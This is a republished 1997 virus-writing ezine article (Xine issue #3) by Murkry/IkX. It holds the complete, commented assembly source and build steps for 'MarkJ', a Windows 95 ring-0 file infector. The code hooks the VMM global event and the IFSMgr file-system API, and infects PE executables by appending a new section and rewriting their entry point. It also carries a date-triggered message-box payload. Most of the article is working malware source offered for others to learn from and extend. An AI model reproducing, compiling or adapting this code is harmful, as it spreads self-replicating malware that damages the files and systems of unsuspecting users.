Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 200

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #3 - Phile 200 |
\-----------------------------/


;
;
;
; MarkJ, by Murkry/IkX
;
;
;
; Well this idea was very klunky (;) hi dv8) until I received and
; dissassembled the F---- harry 3 virus. There I found that you could hook
; VxD functions (yay) using the QG manuver. Well this made this virus easier,
; the main difference between QG's are this is larger and requires a section
; to be added the host; this is due to the method in how it gets tsr space its
; section header is set to Virtual address c0000000 - 400000 (bfc00000)
; which makes this section loaded at C0000000 an "unused" area in sharedVxD
; memory this method will also work with the shared memory at 70000000 this
; method will leave that 1000h area in memory even after the orginal program
; is ended ;))
; (*added now b0z0 has already used this in one of his new viruses I am glad
; to see*)
; As for the QG manuever well see his source code for more info but basically
; he uses a fixed location to find the vmm Device Descriptor Block in memory,
; then finds the schedule Global event entry point well you save this address
; and replace it with a pointer to your code which will then be at the ring0
; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky
; and then repair the Global Event call and your set. Yeah i know thats
; confusing read the code and figure it out you will learn more and feel better
; about yourself :)
; Problems to overcome:
; well VxDcalls are coded in this fashion
; int 20h
; dd 00400032 ; vxd vxdfunction
; which is replaced with
; call [vxdfunction address]
; after the first time it is executed so the code can no longer be simply
; added to the host, QG fixed this by "patching" all these Dynalinks back to
; the int 20.... in Fharry, but he leaves the last one that is called at the
; final write to file which is converted to the call[...] b4 the write to file
; so this leaves one entry that is not patched Well this is sorta easy to fix
; in a number of methods I am choosing the easiest way which is to copy the
; code b4 the dynalink occur to an another location and when I write that copy
; of the code to the new host, another method would be to create the int 20's
; in a dynamic manner the first time this method might be nice for a mutating
; form of this type of virus as you can see VX technology is unlimited in what
; there is to explore in the Win95 enviroment.
; hmm oh yeah the virus has a small payload on the 25th of june it will
; display a VWin32_SysErrorBox wishing Mark j a happy bday :)
; For those who wonder MarkJ is my friend's son, who is the one who show me
; the wonderful world of Virii; JHB yea he is around!
; I know that since I show this to b0z0 he has taken this idea cleaned it up
; added new ideas so for some code that is more robust check out his article's
;
;
;
; Murkry


.Radix 16

.386
;some restrictions
;I do not alter the Virtual address of the new section so the
; host host must load at a base address of a 400000h if this is not true do
; not infect
;to try to stay as a Win95 I check for file alignment as a 200h if not again
;do not infect

; the "new" vxd area I create wants dd 0c0000040h
;for its characerstics or it fails out strange
; now this infects pe files that are name as .com files but get this
; the infect com will not run it hangs the system???? well this is just
;for demo purposes, rename the infected file to *.exe and it will work :)
;and lastly I did not add some check to insure that section directory has
;enough room in it ;) I leave these problems for the student to fix
;
; unlike most vxd's virii this requires Tasm and a debug script that sets the
; characterisics of the .DATA to 0c0000040h all set ;)
;but does not need special .lib's or the infamous ddk ;)
;while i have access to it I prefer to make my files without such things
;that way I can use Tasm and not Masm
;
;Well Virii eXplorers I hope this is an acceptable offering ;)
;thanks to QuantumG, DV8 for source and EXE's that help complete this
;
;Murkry 8/21/97

; Compiling:
; tasm32 /ml /m3 markj,,;
; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib,
; And then just make the DATA area to be loaded at BFC00000h with a hex editor

LoadAt equ 0c0000000h
PeHeader equ offset Buffer - offset markj + LoadAt
.model flat

extrn ExitProcess:PROC
extrn AddAtomA:PROC
;this is just the data area that I am using to build the code that will
;go in the 0c0000000h area the start of the host will be in the .code
; and in a real infection it will execute from the section dir..
.data ;the data area
markj:

;first thing find the VMM uses a fixed location here
;yea this is just a modfied form of fuck harry by QG but
;why not
;maybe its possible to just scan for 'VMM '
;From 0C0010000 ?

StartOfVirus:
;ok first thing copy the virus to the end of our work and data error
;this way we have an ucorrupted version
mov esi, LoadAt
mov edi,offset DummyCode - Offset StartOfVirus + LoadAt
mov Ecx,offset EndVirus - Offset StartOfVirus
rep movsb

mov eax,0C000157Fh ;pointer to one location???
mov ebx,[eax] ;of the VMM dbb
cmp dword ptr [ebx+0C],0204D4D56h ;'VMM '
jne ErrorExit ;if not here get out

mov ebx,[ebx+30h]
;find the Service table for th vmm
;now load the call_global_event address (I think)
;I have read the source to Fharry and I was right :)
;Sorta hook this Services
lea eax,[ebx+3Ch]

;Store this value to restore it later
mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax
; 0c000e384h

mov eax,[eax]

mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax
; 402066
lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt]
;hook the code
mov [ebx+3Ch],eax ;New Location of our Handler

;Ok we should be set to return to the host

ErrorExit:

RetToHost:
inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt]

Ret

;----------------------------------------------------------
;In Dos we would now be in the int Handler
; Here we are now in Ring 0 and are part of the VxD land ;)
; this is where we finish the QG manuever by hooking HookFSD

NewHandler:
pushad


;restore the global event hook
mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt]

;mov [00000000],eax
db 0A3h
OrgIfsEntry dd 0

mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs
call CallIFSHook

popad
;---------------------------------------------------------

; jmp 0028:00000000
db 0eah
VxDOff dd 0401000h
VxDSeg: dw 0137h
;---------------------------------------------------------------

VVxdCall1:
CallIFSHook:

lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt]
push edx
push eax

;this is sorta like hooking every int21 that handle file access in DOS
;This will add a FS hook now whenever a FSD is Called this will be called
;first
;Call
;Tos = New Fsd Address to Install
;return
;EAX = Last FShook
ApiHook: ;4020dd
int 20h
V1:
APIHOOKVXD dd 00400067h
; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */
; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67

add esp,00000004 ;like a pop changes no regs but esp
;some VxD's routines
;do not clean up after themselves
;Sometimes check docs for specs :))

pop edx ; restore Edx
;Save the old FSHook so we can chain to it
mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax

;A little payload here if its the 6/25 then display the B-day mess
;just using the VMM Exec_VxD_Int to get the System date
;To be honest I could not find an easier way to do this!!!
;there are some VxD that give time and date but the date is how many
; seconds(I think) from some date in the 1980's this is easier and
; shows that accessing int 21 is still possible infact if QG is hooking the
; the GlobalEvent from the VMM it should be possible to hook the int21
; hanlder in a similiar fashion then some creative coding could make the
; Dos tsr and the VxD code very similiar....
; check for 6/25 if its the date show the message and set the flag
;

mov eax,00002A00h ;get system date
push dword ptr 21h
int 20h
V2 dd 0001008fh

cmp dx,0619
;6/25 in hex for those decimal heads ;)
jne ForGetIt


;this shows how one might use the VWin32_SysErrorBox
;To display a little message justing saying Hi to JHB's son who is the
; happy (?) reason jhb is not coding as much any more I should add he
;did help with alot of this code
mov ebx, LoadAt
add ebx, offset EBox - offset markj
int 20h
V3 dd 002a001ah


ForGetIt:

ret
;----------------------------------------------------
;all right we have "legal" hook into a FSD and the rest is the
;just the infection routine
NewFShook:
push ebp
mov ebp,esp
sub esp,00000020

;-------------------------------------------------------
;Relative EBP this is what was passed I hope DV8 does not mind me
; using his docs to define this stuff
;00 - ebp
;04 - address of caller
;08 - adress of FSD Function
;0c - Function ID
;10 - drive
;14 - Type of Resource
;18 - Code Page
;1C - Pointer to IOREQ record
; 00 dw Lenght if user Buffer
; 02 db status Flag
; 03 db requests' user Id
; 04 dw file handle's System File number
; 06 dw Process ID
; there is more I will copy or add as needed

push ebx
push esi
push edi

; mov edi,00000000
; db 0bfh ;this gets us so edi points to our
;VirriOffVxD dd LoadAt ;loc in memory

; Use this flag so we are not reentrant

cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
je letOrginal
;Win95 always opens the file b4 running it so this checks and lets us
;check if it is opened
cmp dword ptr [ebp+0Ch],00000024h
jne letOrginal

;ok set our flag
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
pushad

lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt]

mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
cmp al,0FFh
je NoNeedDriveLetter


add al,40h ;this creates the c:
mov [esi],al ;
inc esi ;takes 1 byte
mov byte ptr [esi],':' ;
inc esi ;takes two bytes

NoNeedDriveLetter:

xor eax,eax
push eax ;character set

mov eax,000000FF ;max size of output buffer
push eax ;

mov ebx,[ebp+1Ch] ;??? copies from Mr k and
mov eax,[ebx+0Ch] ;Fharry virus it seems to
add eax,00000004 ;to get the input file name
push eax ; which is in unicode

mov eax,esi ;where we want the output
push eax ;

UniToBcs: ;ok do it
int 20h
dd 00400041h
;IFSMgr_Service UniToBCSPath
add esp, 4*4 ;need to clean up the stack
; dword size * how many push
;(paremeters)
add esi,eax
mov byte ptr [esi],00
cmp dword ptr [esi - 4],"MOC."
; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect
;proper files ;>
jne ExitVVxD
;could add the get and save attributes stuff here as a Xercise for the student

mov Eax,0000D500h ;create/open file
xor ecx,ecx
lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
mov ebx,2 ;flags
mov edx,1

call VxDIFS ;decide to combine this call
;int 20
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO

jb ExitVVxD ;error opening the file
mov ebx,eax ;file handle

;Read File open with read write d6
;3c is the location of the dword pter to the PE/NE part

mov ecx,00000004 ;how much
mov edx, 03Ch ;where to read from
mov eax,0000D600h ;read from file
lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt]
;where to read to

call VxDIFS
;int 20h
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO

mov ecx,400h
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
;use as a pointer
mov eax,0000D600h
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
;where to read to

call VxDIFS
;int 20h
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO 32
;check for the PE
;Read in the first 1k of info from the PE header on
cmp dword ptr [esi],00004550h ;00,'EP'
jne CloseFile

;Alright!! its a PE file now check if infected
;use the user defined 2 words at 44h = Murk
;figure file size
;figure amout to add
;fix header and write end and then write header
;all offsets should be off the offset Buffer - offset markj + LoadAt
; called PeHeader

;Lets do some checks if any fail get out

cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define
je CloseFile
;Well not infected with MarkJ1 virus

cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image
jne CloseFile
;for this example we only want the base image to be 400000h

cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment
jne CloseFile
;and lastly check the file alignment if 200 we are set


xor eax,eax
mov ax,word ptr ds:[PeHeader + 6] ;how many sections
mov ecx,28h ;section size
mul ecx

mov edi,eax ;New Section Entry
add edi,PeHeader + 0f8h ;add Pe header size

push edi ;location in PeHeader of new section header

mov esi, offset SectName - offset markj + LoadAt
mov ecx, offset EndVirus - offset SectName
rep movsb

pop edi

;get file size
mov eax,0d800h ;get file size

call VxDIFS
; int 20h
; dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO
;jc for error

mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax

push eax ;save the size
pop edx ;get it in edx
push edx ;save again
add eax,0200h
shr eax,09h ;make it the 200h size
shl eax,09h ;

pop ecx
sub eax,ecx
xchg eax,ecx

;Extend the file to a 200 file alignment

cmp ecx,0200h
jz AtAlignment
add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx

mov eax,0000d601h ;write to file
mov esi,0c0000000h
call VxDIFS
;int 20h
;dd 00400032h ;edx is telling us where to write to in the file
AtAlignment:

mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt]
mov dword ptr ds:[edi + 14h ],edx

mov ecx,offset EndVirus - offset StartOfVirus
mov eax,0000d601h ;write to file
mov esi,offset DummyCode - Offset StartOfVirus + LoadAt
call VxDIFS
;int 20h
;dd 00400032h ;edx is telling us where to write to

;ok fix the header and write it back
;fix marker
mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define
;fix Eip
mov eax,edi
sub eax,PeHeader
add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
add eax,28h ;<----NewEip
mov dword ptr ds:[edi + 28h + 1],eax
push eax ;save the new eip

mov eax,dword ptr ds:[PeHeader + 28]
mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax

pop eax
mov dword ptr ds:[PeHeader + 28],eax ;set the new eip


;fix section count
inc word ptr ds:[PeHeader + 6]

mov ecx,400h
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
;use as a pointer
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
;where to read to
mov eax,0000d601h ;write to file
call VxDIFS
; int 20h
; dd 00400032h ;edx is telling us where to write to


CloseFile:
mov eax,0000d700h

call VxDIFS
;int 20h ;402500h
;dd 00400032h
;IFSMgr_Service IFSMgr_Ring0_FileIO



ExitVVxD:
Popad
;Restore our flag so we can infect the next file
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0

letOrginal:

mov eax,[ebp+1CH] ;040250eh
push eax
mov eax,[ebp+18H]
push eax
mov eax,[ebp+14H]
push eax
mov eax,[ebp+10H]
push eax
mov eax,[ebp+0CH]
push eax
mov eax,[ebp+08H]
push eax

;mov eax,00000000
db 0b8h
OldFSD dd 0
call [eax]

add esp,00000018
pop edi
pop esi
pop ebx
leave ;402533h
ret

;********************************************
VxDIFS:
int 20h ;402500h
dd 00400032h
ret

;********************************************

MFlag db ?
Flag1 db ?

EBox dd ?
butt1 dw 0
butt2 dw 8001
butt3 dw 0
TitleOff dd offset TitleEB - offset markj +0c0000000h
TextOff dd offset TextEB - offset markj +0c0000000h

TitleEB db 'Happy Birth Day to Mark J ',0
TextEB db 'From Murkry',0

;-----------------------------------------------------------

SectName db "MarkJ_I "
Physadd dd offset EndVirus - offset StartOfVirus
VirtualAdd dd 0c0000000h - 400000h ;bfc00000
SizeRawData dd offset EndVirus - offset StartOfVirus
PntrRawData dd 0 ;will be set at infection
PnterReloc dd ?
PnterLine dd ?
dw ?
dw ?
Character dd 0c0000040h

;sub eax, offset HOST - 400000h
db 2dh
NewEipRva dd offset HOST - 400000h

cmp eax,400000h
jne GetOut
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
jne GetOut

;EAX ;current base address
pushad
call DoNothing
DoNothing:
pop eax
add eax,0bh
push eax
push 0c0000000h
ret
Here:
popad

GetOut:

;add eax, offset return - 400000h
db 05h
OldEipRva dd offset return - 400000h

jmp eax
;----------------------------------------------------------------



EndVirus:
FileName db 100 dup(00) ;holds the file name


PEPtr dd 0
FileSize dd 0
Buffer db 400h dup(00)

CheckTsr db 00

DummyCode:

;--------------------------------------------------------------------
.code ;executable code starts here

HOST:
;sub eax, offset HOST - 400000h
db 2dh
NewEipRva1 dd offset HOST - 400000h

cmp eax,400000h
jne GetOut1
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
jne GetOut1

;EAX ;current base address
pushad
call DoNothing1
DoNothing1:
pop eax
add eax,0bh
push eax
push 0c0000000h
ret
Here1:
popad

GetOut1:

;add eax, offset return - 400000h
db 05h
OldEipRva1 dd offset return - 400000h

jmp eax
;--------------------------------------------------

return:
push LARGE -1
call ExitProcess

end HOST

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT